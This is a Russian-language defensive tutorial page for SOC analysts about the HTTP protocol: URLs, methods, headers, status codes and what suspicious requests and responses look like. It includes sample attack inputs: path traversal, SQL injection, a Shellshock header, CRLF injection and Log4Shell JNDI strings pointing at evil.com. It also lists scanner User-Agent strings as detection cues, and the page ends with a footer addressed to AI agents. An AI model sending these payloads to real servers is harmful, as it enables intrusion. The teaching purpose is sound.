# Протокол HTTP HTTP (HyperText Transfer Protocol) — это протокол прикладного уровня, который используется для передачи данных между клиентом (например, браузером) и сервером. Он является основой взаимодействия в веб-приложениях и позволяет запрашивать ресурсы (HTML-страницы, изображения, файлы) и отправлять данные на сервер (например, через формы). HTTP лежит в основе работы современных веб-приложений, и понимание его работы критически важно для анализа угроз и инцидентов, связанных с веб-атаками. ## URI и URL **URI (Uniform Resource Identifier)** — это общий термин, который обозначает идентификатор ресурса. URI может быть как адресом (URL), так и именем (URN). **URL (Uniform Resource Locator)** — это подмножество URI, которое указывает не только на ресурс, но и на его местоположение в сети (адрес). URL используется для доступа к ресурсам через протоколы, такие как HTTP, HTTPS, FTP и др. URL — это частный случай URI, который всегда указывает на местоположение ресурса. Его структура повторяет структуру URI, но с акцентом на адресацию: ``` схема://хост[:порт][/путь][?запрос][#фрагмент] ``` Пример URL: ``` https://example.com:8080/page?param=value#section1 ``` * **Схема:** `https` или `http` для веб-ресурсов\ Определяет протокол или тип ресурса. * **Хост:** `example.com` * **Порт:** `8080` * **Путь:** `/page`\ Указывает на конкретный ресурс на сервере. Например: `/page`, `/images/photo.jpg`. * **Запрос:** `?param1=value1¶m2=value2`\ Содержит параметры, передаваемые на сервер. Начинается с символа `?` и состоит из пар ключ-значение, разделенных `&`. * **Фрагмент:** `#section1`\ Указывает на конкретную часть ресурса (например, на раздел страницы). Начинается с символом `#`. Понимание структуры URI/URL помогает анализировать веб-запросы, выявлять подозрительные параметры или пути. Например, атаки типа **Path Traversal** используют манипуляции с путем (`/../../etc/passwd`), а **SQL-инъекции** — с параметрами запроса (`?id=1' OR '1'='1`). ## Архитектура веб-приложения Клиент-серверная архитектура — это модель взаимодействия между двумя основными участниками: **клиентом** и **сервером**. * **Фронтенд (Frontend):** Это клиентская часть приложения, которая отвечает за взаимодействие с пользователем.\ Клиент инициирует запросы к серверу. В контексте веб-приложений клиентом обычно выступает браузер (например, Chrome, Firefox) или мобильное приложение. * **Роль клиента:** * Отправляет HTTP-запросы на сервер. * Получает и отображает данные (например, HTML-страницы). * Выполняет клиентскую логику (например, JavaScript). * **Бэкенд (Backend)** Это серверная часть приложения, которая обрабатывает запросы, выполняет бизнес-логику и взаимодействует с базой данных.\ Сервер обрабатывает запросы и возвращает ответы. Сервер отвечает за хранение данных, выполнение бизнес-логики и управление ресурсами. * **Роль сервера:** * Обрабатывает запросы (например, извлекает данные из базы данных). * Возвращает ответы (например, HTML, JSON). * Управляет аутентификацией, авторизацией и другими серверными процессами. * **Технологии:** * Языки программирования: Python, Java, PHP, Node.js. * Фреймворки: Django, Spring, Laravel, Express. * Базы данных: MySQL, PostgreSQL, MongoDB. Вообще отдельный компонент, с которым бэкенд взаимодействует. * **Дополнительные компоненты** * **Прокси-серверы:** Обрабатывают запросы между клиентом и сервером (например, для кэширования или балансировки нагрузки). * **CDN (Content Delivery Network):** Распределяет статические ресурсы (например, изображения, CSS) по всему миру для ускорения загрузки. * **Микросервисы:** Архитектура, при которой приложение разбито на небольшие независимые сервисы. **Пример взаимодействия:** 1. Пользователь вводит URL в браузере (клиент). 2. Браузер отправляет HTTP-запрос на сервер. 3. Сервер обрабатывает запрос и возвращает HTML-страницу. 4. Браузер отображает страницу пользователю. Атаки на клиентской и серверной стороне различаются по своим целям, методам и последствиям. Понимание этих различий помогает аналитикам SOC эффективно выявлять и предотвращать угрозы. **Атаки на клиентской стороне** нацелены на уязвимости в клиентской части приложения (например, в браузере пользователя). Клиентские атаки затрагивают данные пользователя (например, cookies, сессии). Они могут использоваться для распространения вредоносного кода или фишинга. * **Примеры атак:** * **XSS (Cross-Site Scripting):** Внедрение вредоносного JavaScript в страницу. * **Clickjacking:** Обман пользователя для выполнения действий без его ведома. * **CSRF (Cross-Site Request Forgery):** Подделка запросов от имени пользователя. **Атаки на серверной стороне** нацелены на уязвимости в серверной части приложения (например, в базе данных или API). Серверные атаки могут привести к утечке данных, повреждению системы или полному захвату сервера через исполнение произвольного кода. Они часто имеют более серьезные последствия, чем клиентские атаки. * **Примеры атак:** * **SQL-инъекции:** Внедрение вредоносного SQL-кода для доступа к базе данных. * **Path Traversal:** Доступ к файлам на сервере за пределами разрешенных директорий. * **RCE (Remote Code Execution):** Выполнение произвольного кода на сервере. HTTP-запросы и ответы — это основа взаимодействия между клиентом (например, браузером) и сервером. Каждый запрос и ответ состоит из нескольких частей, которые передают информацию о том, что запрашивается, как обрабатывается и что возвращается. ## HTTP-запрос Основная часть работы аналитика сводится к анализу именно запросов, так как именно с помощью них атакующие пытаются манипулировать данными на сервере. {% hint style="info" %} Через браузерные инструменты разработчика (DevTools), на вкладке network, для каждой страницы можно посмотреть примеры запросов и ответов. {% endhint %} HTTP-запрос состоит из трех основных частей: стартовая строка, заголовки и тело. ### **Стартовая строка (Request Line).** Стартовая строка содержит три элемента: * **Метод HTTP:** Указывает действие, которое нужно выполнить (например, GET, POST). * **Путь (Path):** Указывает ресурс, к которому обращается клиент (например, `/index.html`). * **Версия протокола:** Версия HTTP (например, `HTTP/1.1`). ``` GET /index.html HTTP/1.1 ``` #### **Основные HTTP-методы** Эта таблица поможет быстро ориентироваться в основных HTTP-методах, их назначении и потенциальных рисках. | Метод | Назначение | Пример запроса | Особенности | Риски | | ----------- | -------------------------------------------- | ------------------------------------ | ------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | | **GET** | Запрос данных с сервера. | `GET /index.html HTTP/1.1` | Данные передаются в URL. Не имеет тела запроса. | Уязвимости, связанные с передачей данных в URL (SQL-инъекции, XSS). Подозрительные параметры. | | **POST** | Отправка данных на сервер (например, формы). | `POST /login HTTP/1.1` | Данные передаются в теле запроса. Используется для создания/изменения ресурсов. | Передача вредоносных данных (SQL-инъекции, XSS). Подозрительные payloads. | | **PUT** | Загрузка или обновление ресурса на сервере. | `PUT /files/example.txt HTTP/1.1` | Передает данные в теле запроса. Может использоваться для загрузки файлов. | Загрузка вредоносных файлов (шеллов). Перезапись критических файлов. | | **DELETE** | Удаление ресурса на сервере. | `DELETE /files/example.txt HTTP/1.1` | Удаляет указанный ресурс. | Удаление критических файлов или данных. | | **HEAD** | Запрос заголовков ответа без тела. | `HEAD /index.html HTTP/1.1` | Используется для проверки доступности ресурса. | Разведка (например, проверка существования файлов). | | **OPTIONS** | Запрос поддерживаемых методов для ресурса. | `OPTIONS /index.html HTTP/1.1` | Возвращает список методов, которые можно использовать для ресурса. | Разведка (определение уязвимых методов). | | **PATCH** | Частичное обновление ресурса. | `PATCH /users/123 HTTP/1.1` | Обновляет только указанные поля ресурса. | Изменение критических данных (например, прав доступа). | Некоторые HTTP-методы могут быть подозрительными, особенно если они используются не по назначению или в неожиданных контекстах. Разрешайте только те методы, которые необходимы для работы приложения (например, GET, POST). Атакующие могут пытаться отправлять даже несуществующие методы, чтобы проверить, как отреагирует приложение. Либо для обхода защиты. {% hint style="info" %} В большинстве случаев все, что кроме POST и GET можно считать подозрительным. {% endhint %} ### **Заголовки (Headers).** Заголовки содержат метаданные о запросе. Они передают дополнительную информацию, такую как тип данных, кодировка, cookies и другие параметры. Заголовки состоят из пар ключ-значение. ``` Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html Accept-Language: en-US,en;q=0.9 Cookie: session_id=12345 ``` Основные заголовки #### **Заголовки HTTP-запроса** | Заголовок | Назначение | Пример значения | | --------------------------------- | -------------------------------------------------------------------- | ------------------------------------------------------- | | **Host** | Указывает доменное имя и порт сервера.\\ | | | Единственный обязательный запрос. | `Host: example.com` | | | **User-Agent** | Содержит информацию о клиенте (браузере, ОС). | `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)` | | **Accept** | Указывает типы данных, которые клиент может принять. | `Accept: text/html, application/json` | | **Accept-Language** | Указывает предпочитаемые языки. | `Accept-Language: en-US, en;q=0.9` | | **Cookie** | Передает cookies, связанные с доменом. | `Cookie: session_id=12345` | | **Content-Type** | Указывает тип данных в теле запроса. | `Content-Type: application/json` | | **Content-Length** | Указывает размер тела запроса в байтах. | `Content-Length: 1234` | | **Cache-Control** | Управляет кэшированием запроса. | `Cache-Control: no-cache` | | **Referer** | Указывает URL, с которого был сделан запрос. | `Referer: https://example.com/previous-page` | | **Authorization** | Используется для передачи данных аутентификации (например, токенов). | `Authorization: Bearer ` | | **X-Forwarded-For** | Указывает IP-адрес клиента, если запрос проходит через прокси. | `X-Forwarded-For: 192.168.1.1` | | **Origin** | Указывает источник запроса (используется в CORS). | `Origin: https://example.com` | | **Accept-Encoding** | Указывает поддерживаемые методы сжатия данных. | `Accept-Encoding: gzip, deflate` | | **Connection** | Управляет состоянием соединения (например, keep-alive). | `Connection: keep-alive` | Эта таблица поможет быстро ориентироваться в основных HTTP-заголовках и их назначении. #### User-Agent (UA) Из стандартных заголовков интересс представляет **User-Agent**, он помогает распознать ботов и инструменты для сканрования или фазинга сайта.\ User-Agent можно всегда можно подменить, но не все это делают. **Пример обычных браузеров** - по ним можно понять какую ОС и браузер использует пользователь ``` Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15 ``` **Известыне боты**. Они бывают хорошие, например, от Yandex или Google, которые индексируют ваш сайт ``` Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) ``` Некоторые инструменты явно в UA себя идентифицируют ``` Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html) Nikto/2.1.6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 BurpSuite/2021.8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OWASP ZAP/2.11.0 sqlmap/1.5.12#stable (http://sqlmap.org) Wget/1.21.1 curl/7.77.0 ``` А некоторые могут маскироваться, например, под хорошие боты или браузеры. ``` Googlebot/2.1 (+http://www.google.com/bot.html) ``` (Отсутствие `Mozilla/5.0` или неверный IP-адрес. Google публикует список своих IP - хотя это и довольно сложно учитывать в правилах обнаружения) А еще могут быть неизветсные User-Agent от самописных инструментов ``` HackerTool/1.0 ExploitScanner/1.0 ``` ### **Уязвимости, связанные с заголовками** Если сервер не понимает заголовок, он, скорее всего, проигнорирует его или залогирует. Однако неправильная обработка заголовков может привести к уязвимостям, таким как CRLF Injection или Log4j. Аналитикам SOC важно отслеживать подозрительные заголовки и настраивать системы безопасности для их блокировки. #### **Shellshock (CVE-2014-6271)** Уязвимость в Bash, которая позволяла выполнить произвольный код через переменные окружения, передаваемые в HTTP-заголовках. * **Как эксплуатировалась:**\ Злоумышленник отправлял запрос с вредоносным заголовком, например: Copy ``` GET / HTTP/1.1 Host: example.com User-Agent: () { :; }; /bin/bash -c "malicious_command" ``` Сервер, использующий Bash для обработки запросов, выполнял команду. * **Последствия:** * Выполнение произвольного кода на сервере. #### **CRLF Injection** Уязвимость, возникающая при неправильной обработке символов перевода строки (CRLF) в заголовках. * **Как эксплуатировалась:**\ Злоумышленник вставлял CRLF в заголовок, чтобы добавить новые заголовки или изменить тело ответа.\ Пример: Copy ``` GET / HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0\r\n Injection: malicious_header ``` * **Последствия:** * Подмена ответа сервера. * XSS (если CRLF используется для добавления JavaScript). #### **Log4Shell (CVE-2021-44228)** Это уязвимость, которая **не связана напрямую с HTTP-заголовками**, но может быть **эксплуатирована через них**.\ Уязвимость возникает из-за возможности выполнения произвольного кода через механизм **JNDI (Java Naming and Directory Interface)**. Если злоумышленник может передать вредоносную строку в лог (например, через HTTP-заголовок, параметр запроса или тело запроса), приложение, использующее уязвимую версию Log4j, выполнит этот код. 1. Злоумышленник отправляет запрос с вредоносной строкой в одном из заголовков. 2. Приложение логирует этот заголовок. 3. Log4j обрабатывает строку и выполняет JNDI-запрос к удаленному серверу злоумышленника. 4. Злоумышленник получает возможность выполнить произвольный код на сервере. Хотя уязвимость Log4j не связана напрямую с заголовками, злоумышленники могут использовать HTTP-заголовки для передачи вредоносной строки. Например: * **User-Agent:**\ Злоумышленник может отправить запрос с вредоносным User-Agent: ``` GET / HTTP/1.1 Host: example.com User-Agent: ${jndi:ldap://evil.com/exploit} ``` * **Referer:**\ Вредоносная строка может быть передана через заголовок Referer: ``` GET / HTTP/1.1 Host: example.com Referer: ${jndi:ldap://evil.com/exploit} ``` * **X-Forwarded-For:**\ Если приложение логирует IP-адреса, злоумышленник может использовать этот заголовок: ``` GET / HTTP/1.1 Host: example.com X-Forwarded-For: ${jndi:ldap://evil.com/exploit} ``` ### **Тело запроса (Body).** Тело запроса используется для передачи данных на сервер. Оно присутствует не во всех запросах (например, в GET-запросах тело обычно отсутствует). Тело может содержать данные в различных форматах, таких как JSON, XML, файлы и другие. Пример тела запроса (JSON): ``` { "username": "admin", "password": "12345" } ``` Как и в параметрах, тут стоит обращать внимание на паттерны SQL-инъекций, XSS, команд ОС и других. Также атакующие могут загружать целые вредоносные файлы (например, шеллы, трояны). ``` ``` Обращайте внимание на подозрительные расширения файлов (`.php`, `.jsp`, `.exe`) или двойные расширения (например, `image.jpg.php`) в запросах. {% hint style="info" %} Чтобы познакомиться с типовыми Web-уязвимостями, можно поднять у себя локально простой веб-сервер и направить на него сканер уязвимостей. И посмотреть какие запросы и в какие параметры генерирует сканер. {% endhint %} ## HTTP-ответ HTTP-ответ также состоит из трех основных частей: строка состояния, заголовки и тело ответа. ### **Строка состояния (Status Line)** Строка состояния содержит три элемента: * **Версия протокола:** Версия HTTP (например, `HTTP/1.1`). * **Код состояния (Status Code):** Числовой код, указывающий результат обработки запроса (например, `200 OK`). * **Сообщение состояния (Status Message):** Текстовое описание кода состояния (например, `OK`). ``` HTTP/1.1 200 OK ``` HTTP-статусы делятся на пять групп, каждая из которых обозначает определенный тип ответа сервера. Вот краткая таблица с объяснением каждой группы: | Группа | Диапазон кодов | Название группы | Описание | | ------- | -------------- | --------------- | ---------------------------------------------------------------------- | | **1xx** | 100–199 | Информационные | Сервер получил запрос и продолжает его обработку. Клиент должен ждать. | | **2xx** | 200–299 | Успешные | Запрос успешно обработан. | | **3xx** | 300–399 | Перенаправления | Запрос требует дополнительных действий (например, перенаправление). | | **4xx** | 400–499 | Ошибки клиента | Запрос содержит ошибку или не может быть выполнен из-за клиента. | | **5xx** | 500–599 | Ошибки сервера | Сервер не смог обработать запрос из-за внутренней ошибки. | Коды **4xx** могут указывать на попытки атак (например, сканирование, brute force). Частые **404** могут быть признаком сканирования директорий. ### **Заголовки (Headers)** Заголовки ответа содержат метаданные о ответе. Они передают информацию о сервере, типе данных, cookie и других параметрах. ``` Server: Apache/2.4.41 Content-Type: text/html; charset=UTF-8 Set-Cookie: session_id=12345; Path=/ Content-Length: 1234 Cache-Control: max-age=3600 ``` Обычно заголовки ответа формируются на стороне сервера. Поэтому чаще относятся к неправильным или небезопасным настройкам сервера, а не мониторингу в реальном времени. Например, не настроенная политика CORS или отсутствие флага `HttpOnly` для Cookie.\ Либо раскрывать версии сервера и ОС или версии приложения. ``` Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/7.4.3 X-AspNet-Version: 4.0.30319 X-Runtime: 0.123456 ``` ### **Тело ответа (Body)** Тело ответа содержит данные, которые сервер возвращает клиенту. Это может быть HTML-страница, JSON-данные, изображение или другой ресурс. Аналитикам SOC важно уметь выявлять подозрительные паттерны в теле ответа, которые могут указывать на ошибки, утечки данных или успешные атаки: Ошибки:\ Часто означают, что уязвимость действительно есть. Атакующему удалось провзаимодействовать с базой данных, файловой системой... Осталось только раскрутить и получить результат. ```html
Error: SQL syntax error near 'SELECT * FROM users'
500 Internal Server Error: File '/var/www/html/config.php' not found
``` Утечки данных:\ В выводе стоит обращать внимание на фрагменты баз данных или известных файлов (например `phpinfo.php` или `/etc/passwd`).\ Они не всегда будут присутствовать при успешной атаке, но их наличие - хороший индикатор. Успешное выполнение кода:\ Обычно, получив возможность исполнять код в системе, первое что делают хакеры, это проверяют свои права и начинают разведку системы. Поэтому в выводе могут присутствовать характерные выводы `whoami`, `dir` и других команд. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://vasilisa-l.gitbook.io/blue-team-cookbook/web/http.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.